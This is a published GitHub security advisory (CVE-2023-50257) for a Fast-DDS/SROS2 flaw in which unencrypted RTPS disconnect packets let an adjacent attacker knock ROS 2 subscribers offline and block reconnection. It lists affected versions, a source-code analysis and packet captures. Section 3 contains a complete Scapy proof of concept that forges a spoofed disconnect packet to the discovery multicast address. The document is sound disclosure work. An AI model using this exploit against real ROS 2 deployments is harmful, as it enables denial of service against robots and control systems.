Skip to content

Disconnect Vulnerability in RTPS Packets Used by SROS2

Critical
MiguelCompany published GHSA-v5r6-8mvh-cp98 Feb 19, 2024

Package

No package listed

Affected versions

< 2.13.0 / < 2.12.2 / < 2.11.3 / < 2.10.3 / < 2.6.7

Patched versions

2.13.0 / 2.12.2 / 2.11.3 / 2.10.3 / 2.6.7
FastDDS, RMW - FastDDS (ROS 2 IRON)
(FastDDS) 2.10.2-2, (RMW - FastDDS) 7.1.1-2
(FastDDS) 2.10.3
FastDDS, RMW - FastDDS (ROS 2 HUMBLE)
(FastDDS) 2.6.6-1, (RMW - FastDDS) 6.2.3.1
(FastDDS) 2.6.7
FastDDS, RMW - FastDDS (ROS 2 GALACTIC)
(FastDDS) 2.3.6-6, (RMW - FastDDS) 5.0.2-1
None, ROS 2 GALACTIC reached end-of-life
FastDDS, RMW - FastDDS (ROS 2 FOXY)
(FastDDS) 2.1.4-1, (RMW - FastDDS) 1.3.2-1
None, ROS 2 FOXY reached end-of-life

Description

1. Summary

  • Even with the application of SROS2, due to the issue where the data (p[UD]) and guid values used to disconnect between nodes are not encrypted, a vulnerability has been discovered where a malicious attacker can forcibly disconnect a Subscriber and can deny a Subscriber attempting to connect.
  • Afterwards, if the attacker sends the packet for disconnecting, which is data(p[UD]), to the Global Data Space (239.255.0.1:7400) using the said Publisher ID, all the Subscribers (Listeners) connected to the Publisher (Talker) will not receive any data and their connection will be disconnected. Moreover, if this disconnection packet is sent continuously, the Subscribers (Listeners) trying to connect will not be able to do so.

2. Details

  • Subscriber Function Analysis

    1. ROS2 IRON Source Code Build

      - colcon build --symlink-install --cmake-args -DBUILD_TESTING:=OFF -DCMAKE_CXX_FLAGS:=-pg -DCMAKE_EXE_LINKER_FLAGS=-pg -DCMAKE_SHARED_LINKER_FLAGS=-pg -DCMAKE_BUILD_TYPE=RelWithDebInfo -DSECURITY=ON
    

    2. Uftrace

    • https://github.com/namhyung/uftrace/pulls
    • uftrace is a function call graph tracing program for C, C++, Rust, and Python programs.
    • uftrace record -a ~/ros2_iron/build/demo_nodes_cpp/listener --ros-args --enclave /talker_listener/listener
      • uftrace replay -N ^std > sub[listener]_fastrtps_attack_replay.txt
      • I put the related uftrace file on our github. LINK
    • We analyzed the flow of a normal Subscriber and the flow of a Subscriber after an attack using the Uftrace tool.
    • The part that starts to differ is at 'attack: 533319 line' and 'normal - 491897 line'.
    • As a result of uftrace analysis, after the PDPListener::onNewCacheChagedAdded function is called in the line "attack:533623" as shown in Figure 1, the process of erasing the Participant information begins. After that, in Figure 2, it was finally confirmed that the Participant information was finally deleted.
    • Picture1. When the attacker transmits Data(p[UD]), the process transitions to the Participant deletion phase.
      image
    • Picture2. Lastly, the part where the Participant information is ultimately deleted.
      image
  • Analysis Code

    • Data(p[UD]) invokes the remove_participant function, which in turn deletes entities like remove_Writer and remove_Reader.
    • The SecurityManager executes the SecurityManager::init function only once based on the Participant GUID when initially running the node.
    • eProsima/Fast-DDS/tree/2.10.x/src/cpp/rtps/security/SecurityManager.cpp:117, 793
    bool SecurityManager::init()
    bool SecurityManager::on_process_handshake()
    • In SROS2, the SecurityManager of DDS tokenizes each node's Participant, Endpoint, and UserData information and stores them in handles like permission_handle and identity_handle. The deletion of these pieces of information is not performed by the remove_participant function, but rather when the SecurityManager is completely deleted or initialized using the SecurityManager::init function.
      • As a result of the analysis of the "Security Manager::init function", the function deletes all relevant information (ex: token, Security Manager, etc.) when deleting the node (Ex: Ctrl+c: SIGINT).
    • Therefore, even if a malicious attacker manipulates Data(p[UD]) and sends it to the Global Data Space area to disconnect the Pub/Sub connection, since Data(p[UD])(ex: guid) only deletes the information of the Participant, the SecurityManager is not initialized.
    • To reconnect between Pub/Subs here, you must run the Security Manager::init function and reconnect through the on_process_handshake function.
    • In summary, even if a malicious attacker uses Data(p[UD]) to disconnect the Pub/Sub connection, the node's information does not disappear completely. As a result, the SecurityManager continues to hold information related to the Participant's GUID, such as tokens. Therefore, even if the Subscriber sends Data(p) to the Global Data Space every 4 seconds, the SecurityManager::init function does not re-execute due to the duplicated GUID. Consequently, the packet is ignored and no reconnection takes place.
  • Analysis Packet

    • I put the related packtet file on our github. LINK
    • In SROS2, there was a problem where packets sent to the Global Data Space area (e.g., Participant ID) were not encrypted.
    • As a result, an attacker within the same Global Data Space can eavesdrop on the Publisher's Participant ID.
    • Furthermore, if one can obtain the Publisher's Participant ID, it's possible to impersonate that specific node. Therefore, when an attacker sends tampered packets like data(p[UD]) using the acquired Participant ID, proper verification was not carried out.
      image
    • before the attack
      • When the Publisher (192.168.177.151) sends a packet, the Subscriber (192.168.177.153) sends a response packet.
        image
    • after an attack
      • The Publisher (192.168.177.151) sends a packet to the Subscriber (192.168.177.153), but there is no response.
        image

3. PoC

  • Attack Environment Required Info

    • Operating System : Ubuntu 20.04 ~ 22.04 LTS
    • ROS2 IRON (192.168.177.151, 192.168.177.153)
    • The attack was successful in both the source code build (release mode) and the packaged environment.
    • [Attacker]
      • While in RTPS communication with SROS2 applied, packets being sent to the Global Data Space (239.255.0.1:7400) are sniffed. After that, using Scapy, a packet named data(p[UD]) which terminates the connection (by referencing guid, src IP, sport) is generated. Following this, the data(p[UD]) packet is dispatched to the Global Data Space.
    • [Victim]
      • All Subscribers (Listeners) connected to the Publisher (Talker) are unable to receive data and are forcibly disconnected.
    • PoC Code
      from scapy.all import *
      from scapy.contrib.rtps import *
      
      hostId = 0xdaf710ce
      appId = 0xd9774bc6
      instanceId = 0xd4359e60
      entityId = 0x00001c1
      
      class PacketSENTINEL(PIDPacketBase):
          name = "PID_SENTINEL"
          fields_desc = [
              EField(XIntField("parameter_id", 0x0001), endianness=FORMAT_LE),
          ]
      
      class participantId(EPacket):
          name = "participantId"
          fields_desc = [
              XIntField("hostId", hostId),
              XIntField("appId", appId),
              XIntField("instanceId", instanceId),
              XIntField("entity", entityId), 
          ]
      
      class UnknownPacket(EPacket):
          name = "Unknown"
          fields_desc = [
         EField(ShortField("parameter_id", 0x800f), endianness=FORMAT_LE),
              EField(ShortField("parameter_length", 0x0018), endianness=FORMAT_LE),
              PacketListField("participantId", [participantId()], participantId),
              XIntField("parameter1",0x00000000),
              XIntField("parameter2",0x01000000),
          ]
      
      class KeyHashPacket(EPacket):
          name = "Data Packet"
          fields_desc = [
         EField(ShortField("parameter_id", 0x0070), endianness=FORMAT_LE),
              EField(ShortField("parameter_length", 0x0010), endianness=FORMAT_LE),
              PacketListField("participantId", [participantId()], participantId),
          ]
      
      class StatusPacket(EPacket):
          name = "status info"
          fields_desc = [
             EField(ShortField("parameter_id", 0x0071), endianness=FORMAT_LE),
              EField(ShortField("parameter_length", 0x0004), endianness=FORMAT_LE),
              XIntField("flags", 0x00000003),
          ]
      
      class InlineQoSPacket(EPacket):
          name = "Inline QoS"
          fields_desc = [
              PacketField("UnknownPacket", UnknownPacket(), UnknownPacket),
              PacketField("KeyHashPacket", KeyHashPacket(), KeyHashPacket),
              PacketField("StatusPacket", StatusPacket(), StatusPacket),
              PacketField("sentinel", PacketSENTINEL(), PacketSENTINEL),
          ]
      
      class RTPS(Packet):
          name = "RTPS Header"
          fields_desc = [
              XIntField("magic", 0x52545053),  # RTPS in hex
              XByteField("major", 2),
              XByteField("minor", 3),
              XShortField("vendor_id", 0x010f),
              XIntField("hostId", hostId),
              XIntField("appId", appId),
              XIntField("instanceId", instanceId),
         ]
         
      class RTPSSubMessage_DATA(EPacket):
          name = "RTPS DATA"
          fields_desc = [
              XByteField("submessageId", 0x15),  # DATA
              XByteField("flags", 0x03),  # Data present, Endianness bit
              ShortField("octetsToNextHeader", 0x5000),
              XNBytesField("extraFlags", 0x0000, 2),
              EField(ShortField("octetsToInlineQoS", 0x1000), endianness_from=e_flags),
              X3BytesField("readerEntityIdKey", 0x000100),
              XByteField("readerEntityIdKind", 0xc7),  # Application-defined unknown kind
              X3BytesField("writerEntityIdKey", 0x000100),
              XByteField("writerEntityIdKind", 0xc2),  # Built-in writer (with key)
              EField(IntField("writerSeqNumHi", 0x00000000), endianness_from=e_flags),
              EField(IntField("writerSeqNumLow", 0x02000000), endianness_from=e_flags), 
              PacketField("inline_qos", InlineQoSPacket(), InlineQoSPacket), 
          ]
      
      packet = Ether() / \
         IP(src="192.168.177.151",dst="239.255.0.1") / \
         UDP(sport=37005,dport=7400) / RTPS() / RTPSSubMessage_DATA()
      sendp(packet, iface="ens33")
  • FastDDS Version
    • Successful exploitation in all ROS2 versions

      ROS2 Version FastDDS RMW - FastDDS Attack Result
      IRON 2.10.2-1 7.1.1-2 O
      HUMBLE 2.6.6-1 6.2.3.1 O
      GALACTIC 2.3.6-6 5.0.2-1 O
      FOXY 2.1.4-1 1.3.2-1 O

4. Impact

  • A remote attacker can forcibly disconnect the Subscriber, and once disconnected, reconnection does not occur.

image

4.1. Affected Version

  • Commint Analysis

  • eProsima/Fast-DDS/tree/2.10.x/src/cpp/rtps/security/SecurityManager.cpp:117, 793

    COMMIT TIME COMMIT ID Issue code
    Nov 8, 2016 e186986 Initial Contribution SecurityManager::init()
    Nov 16, 2016 072cbc9 Initial Contribution SecurityManager::on_process_handshake()
    Jun 5, 2023 f07a021 latest Contribution -
    • Since the initial commit of the SecurityManager.cpp code (init, on_process_handshake) on Nov 8, 2016, Disconnect Vulnerability in RTPS Packets Used by SROS2 have been present up to the current date.

Severity

Critical
9.7
/ 10

CVSS base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2023-50257

Weaknesses

No CWEs

Credits